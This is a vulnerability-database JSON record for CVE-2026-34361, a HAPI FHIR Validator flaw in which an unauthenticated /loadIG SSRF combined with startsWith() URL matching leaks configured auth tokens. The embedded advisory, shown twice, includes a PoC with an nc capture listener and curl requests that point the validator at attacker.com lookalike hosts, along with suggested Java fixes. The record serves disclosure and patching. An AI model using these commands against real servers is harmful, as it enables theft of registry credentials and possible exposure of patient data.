{"id":"CVE-2026-34361","aliases":["EUVD-2026-17528","GHSA-vr79-8m62-wh98","ROOT-APP-MAVEN-CVE-2026-34361"],"status":"published","title":"HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft","description":"HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.","severity":{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00305,"percentile":0.23522,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-522","CWE-552"],"published":"2026-03-30T17:24:10Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"Maven","package":"ca.uhn.hapi.fhir:org.hl7.fhir.validation","fixed_in":["6.9.4"],"sources":["ghsa","osv"]},{"ecosystem":"Root:Maven","package":"ca.uhn.hapi.fhir:org.hl7.fhir.validation","fixed_in":["6.7.9-aikido.7","6.9.0-aikido.8","6.7.9-aikido.6","6.9.0-aikido.9","6.9.0-aikido.10","6.9.0-aikido.11","6.4.0-aikido.1","6.4.0-aikido.2","6.0.1-aikido.4"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.ca.uhn.hapi.fhir:org.hl7.fhir.validation","fixed_in":["6.9.0-root.io.3","6.9.0-root.io.4","6.7.9-root.io.1","6.7.9-root.io.2","6.7.9-root.io.4","6.9.0-root.io.5","6.9.0-root.io.6","6.7.9-root.io.5","6.9.0-root.io.7","6.7.9-root.io.7","6.9.0-root.io.9","6.9.0-root.io.8","6.7.9-root.io.6","6.9.0-root.io.10","6.9.0-root.io.11","6.4.0-root.io.1","6.4.0-root.io.2","6.0.1-root.io.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"ca.uhn.hapi.fhir:org.hl7.fhir.validation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.4"}]}]},{"source":"osv","ecosystem":"Maven","package":"ca.uhn.hapi.fhir:org.hl7.fhir.validation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.4"}]}],"versions":["0.0.1","0.0.14","0.0.2","0.1.18","1.0.0","1.1.67","4.0.0","4.0.1","4.0.2","4.0.3","4.1.0","4.2.0","5.0.0","5.0.10","5.0.11","5.0.12","5.0.13","5.0.14","5.0.15","5.0.16","5.0.17","5.0.18","5.0.19","5.0.20","5.0.21","5.0.22","5.0.7","5.0.8","5.0.9","5.1.0","5.1.1","5.1.10","5.1.11","5.1.12","5.1.13","5.1.14","5.1.15","5.1.16","5.1.17","5.1.18","5.1.19","5.1.2","5.1.20","5.1.21","5.1.22","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.1","5.2.10","5.2.11","5.2.12","5.2.13","5.2.16","5.2.18","5.2.19","5.2.20","5.2.3","5.2.4","5.2.5","5.2.7","5.2.8","5.2.9","5.3.0","5.3.1","5.3.10","5.3.11","5.3.12","5.3.14","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.4.1","5.4.10","5.4.11","5.4.12","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.4.7","5.4.8","5.4.9","5.5.1","5.5.10","5.5.11","5.5.12","5.5.13","5.5.14","5.5.15","5.5.16","5.5.2","5.5.3","5.5.4","5.5.6","5.5.7","5.5.8","5.5.9","5.6.0","5.6.1","5.6.100","5.6.101","5.6.102","5.6.103","5.6.104","5.6.105","5.6.106","5.6.107","5.6.108","5.6.109","5.6.110","5.6.111","5.6.112","5.6.113","5.6.114","5.6.115","5.6.116","5.6.117","5.6.12","5.6.13","5.6.15","5.6.17","5.6.18","5.6.19","5.6.2","5.6.20","5.6.21","5.6.22","5.6.23","5.6.24","5.6.25","5.6.26","5.6.27","5.6.28","5.6.29","5.6.3","5.6.30","5.6.31","5.6.32","5.6.33","5.6.34","5.6.35","5.6.36","5.6.37","5.6.38","5.6.39","5.6.4","5.6.40","5.6.41","5.6.42","5.6.43","5.6.44","5.6.45","5.6.46","5.6.47","5.6.48","5.6.5","5.6.50","5.6.51","5.6.52","5.6.53","5.6.54","5.6.55","5.6.56","5.6.57","5.6.58","5.6.59","5.6.6","5.6.60","5.6.61","5.6.62","5.6.63","5.6.64","5.6.65","5.6.66","5.6.67","5.6.68","5.6.69","5.6.7","5.6.70","5.6.71","5.6.72","5.6.73","5.6.74","5.6.75","5.6.76","5.6.77","5.6.78","5.6.79","5.6.80","5.6.81","5.6.82","5.6.83","5.6.84","5.6.85","5.6.86","5.6.87","5.6.88","5.6.881","5.6.89","5.6.9","5.6.90","5.6.91","5.6.92","5.6.93","5.6.94","5.6.95","5.6.96","5.6.97","5.6.971","5.6.98","5.6.99","6.0.0","6.0.1","6.0.10","6.0.11","6.0.12","6.0.13","6.0.14","6.0.15","6.0.16","6.0.17","6.0.18","6.0.19","6.0.2","6.0.20","6.0.21","6.0.22","6.0.22.1","6.0.22.2","6.0.23","6.0.24","6.0.25","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.0.8","6.0.9","6.1.0","6.1.1","6.1.10","6.1.11","6.1.12","6.1.13","6.1.14","6.1.15","6.1.16","6.1.2","6.1.2.1","6.1.2.2","6.1.3","6.1.4","6.1.5","6.1.6","6.1.7","6.1.8","6.1.9","6.2.0","6.2.1","6.2.10","6.2.11","6.2.12","6.2.13","6.2.14","6.2.15","6.2.2","6.2.3","6.2.4","6.2.5","6.2.6","6.2.6.1","6.2.7","6.2.8","6.2.9","6.3.0","6.3.1","6.3.10","6.3.11","6.3.12","6.3.13","6.3.14","6.3.15","6.3.16","6.3.17","6.3.18","6.3.19","6.3.2","6.3.20","6.3.21","6.3.22","6.3.23","6.3.24","6.3.25","6.3.26","6.3.27","6.3.28","6.3.29","6.3.3","6.3.30","6.3.31","6.3.32","6.3.4","6.3.5","6.3.6","6.3.7","6.3.8","6.3.9","6.4.0","6.4.1","6.4.2","6.4.3","6.4.4","6.5.0","6.5.1","6.5.10","6.5.11","6.5.12","6.5.13","6.5.14","6.5.15","6.5.16","6.5.17","6.5.18","6.5.18.1","6.5.19","6.5.2","6.5.20","6.5.21","6.5.22","6.5.23","6.5.24","6.5.25","6.5.26","6.5.27","6.5.28","6.5.3","6.5.4","6.5.5","6.5.6","6.5.7","6.5.8","6.5.9","6.6.0","6.6.1","6.6.2","6.6.3","6.6.4","6.6.5","6.6.6","6.6.7","6.7.0","6.7.1","6.7.10","6.7.11","6.7.2","6.7.3","6.7.4","6.7.5","6.7.6","6.7.7","6.7.8","6.7.9","6.8.0","6.8.1","6.8.2","6.9.0","6.9.1","6.9.2","6.9.3"]},{"source":"osv","ecosystem":"Root:Maven","package":"ca.uhn.hapi.fhir:org.hl7.fhir.validation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.7.9-aikido.7"},{"fixed":"6.9.0-aikido.8"},{"fixed":"6.7.9-aikido.6"},{"fixed":"6.9.0-aikido.9"},{"fixed":"6.9.0-aikido.10"},{"fixed":"6.9.0-aikido.11"},{"fixed":"6.4.0-aikido.1"},{"fixed":"6.4.0-aikido.2"},{"fixed":"6.0.1-aikido.4"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.ca.uhn.hapi.fhir:org.hl7.fhir.validation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.0-root.io.3"},{"fixed":"6.9.0-root.io.4"},{"fixed":"6.7.9-root.io.1"},{"fixed":"6.7.9-root.io.2"},{"fixed":"6.7.9-root.io.4"},{"fixed":"6.9.0-root.io.5"},{"fixed":"6.9.0-root.io.6"},{"fixed":"6.7.9-root.io.5"},{"fixed":"6.9.0-root.io.7"},{"fixed":"6.7.9-root.io.7"},{"fixed":"6.9.0-root.io.9"},{"fixed":"6.9.0-root.io.8"},{"fixed":"6.7.9-root.io.6"},{"fixed":"6.9.0-root.io.10"},{"fixed":"6.9.0-root.io.11"},{"fixed":"6.4.0-root.io.1"},{"fixed":"6.4.0-root.io.2"},{"fixed":"6.0.1-root.io.4"}]}]}],"products":[{"vendor":"hapifhir","product":"hl7_fhir_core"},{"vendor":"hapifhir","product":"org.hl7.fhir.core"}],"references":[{"url":"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34361","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vr79-8m62-wh98"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34361.json","tags":["advisory"]},{"url":"https://github.com/hapifhir/org.hl7.fhir.core","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34361","title":"HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft","description":"HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.","status":"published","published":"2026-03-31T16:56:11.163Z","modified":"2026-03-31T17:24:58.558Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-552"],"updated_at":"2026-11-02T14:20:13.962274Z"}],"euvd":[{"id":"EUVD-2026-17528","description":"HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.","status":"published","published":"2026-03-31T16:56:11Z","modified":"2026-03-31T17:24:58Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"updated_at":"2026-11-02T19:25:24.891983Z"}],"ghsa":[{"id":"GHSA-vr79-8m62-wh98","title":"FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft","description":"## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) \u0026\u0026 typesMatch(serverType, serverDetails.getType())) {\n    return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n  \"servers\": [{\n    \"url\": \"https://packages.fhir.org\",\n    \"authenticationType\": \"token\",\n    \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n  }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 \u003e /tmp/captured_request.txt \u0026\n# Register DNS: packages.fhir.org.attacker.com -\u003e attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable\u003cString\u003e serverTypes, String url, Iterable\u003cServerDetailsPOJO\u003e serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n        for (String serverType : serverTypes) {\n          if (urlMatchesOrigin(url, serverDetails.getUrl()) \u0026\u0026 typesMatch(serverType, serverDetails.getType())) {\n            return serverDetails;\n          }\n        }\n      }\n    }\n    return null;\n  }\n\n  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n    try {\n      URL req = new URL(requestUrl);\n      URL srv = new URL(serverUrl);\n      return req.getProtocol().equals(srv.getProtocol())\n          \u0026\u0026 req.getHost().equals(srv.getHost())\n          \u0026\u0026 req.getPort() == srv.getPort()\n          \u0026\u0026 req.getPath().startsWith(srv.getPath());\n    } catch (MalformedURLException e) {\n      return false;\n    }\n  }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set\u003cString\u003e ALLOWED_HOSTS = Set.of(\n    \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n    try {\n        URL url = new URL(ig);\n        return ALLOWED_HOSTS.contains(url.getHost());\n    } catch (MalformedURLException e) {\n        return false; // Not a URL, could be a package reference\n    }\n}\n```","status":"published","published":"2026-03-30T17:24:10Z","modified":"2026-03-31T18:55:52Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-522","CWE-552"],"updated_at":"2026-11-02T14:39:47.075804Z"}],"nvd":[{"id":"CVE-2026-34361","description":"HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.","status":"published","published":"2026-03-31T17:16:32.923Z","modified":"2026-07-24T20:10:00.147Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-552"],"updated_at":"2026-11-02T14:12:12.261218Z"}],"osv":[{"id":"CVE-2026-34361","title":"HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft","description":"HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.","status":"published","published":"2026-03-31T16:56:11.163Z","modified":"2026-10-28T02:31:04.047040786Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-552"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-vr79-8m62-wh98","title":"FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft","description":"## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) \u0026\u0026 typesMatch(serverType, serverDetails.getType())) {\n    return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n  \"servers\": [{\n    \"url\": \"https://packages.fhir.org\",\n    \"authenticationType\": \"token\",\n    \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n  }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 \u003e /tmp/captured_request.txt \u0026\n# Register DNS: packages.fhir.org.attacker.com -\u003e attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable\u003cString\u003e serverTypes, String url, Iterable\u003cServerDetailsPOJO\u003e serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n        for (String serverType : serverTypes) {\n          if (urlMatchesOrigin(url, serverDetails.getUrl()) \u0026\u0026 typesMatch(serverType, serverDetails.getType())) {\n            return serverDetails;\n          }\n        }\n      }\n    }\n    return null;\n  }\n\n  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n    try {\n      URL req = new URL(requestUrl);\n      URL srv = new URL(serverUrl);\n      return req.getProtocol().equals(srv.getProtocol())\n          \u0026\u0026 req.getHost().equals(srv.getHost())\n          \u0026\u0026 req.getPort() == srv.getPort()\n          \u0026\u0026 req.getPath().startsWith(srv.getPath());\n    } catch (MalformedURLException e) {\n      return false;\n    }\n  }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set\u003cString\u003e ALLOWED_HOSTS = Set.of(\n    \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n    try {\n        URL url = new URL(ig);\n        return ALLOWED_HOSTS.contains(url.getHost());\n    } catch (MalformedURLException e) {\n        return false; // Not a URL, could be a package reference\n    }\n}\n```","status":"published","published":"2026-03-30T17:24:10Z","modified":"2026-03-31T19:05:05.631952Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-522","CWE-552"],"updated_at":"2026-11-02T15:46:57.694388Z"},{"id":"ROOT-APP-MAVEN-CVE-2026-34361","title":"CVE-2026-34361 in ca.uhn.hapi.fhir:org.hl7.fhir.validation - Patched by Root","description":"Root has patched CVE-2026-34361 in the ca.uhn.hapi.fhir:org.hl7.fhir.validation package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-10-05T11:00:40Z","modified":"2026-10-05T11:15:04.820039275Z","updated_at":"2026-11-02T15:53:27.066589Z"}]}}
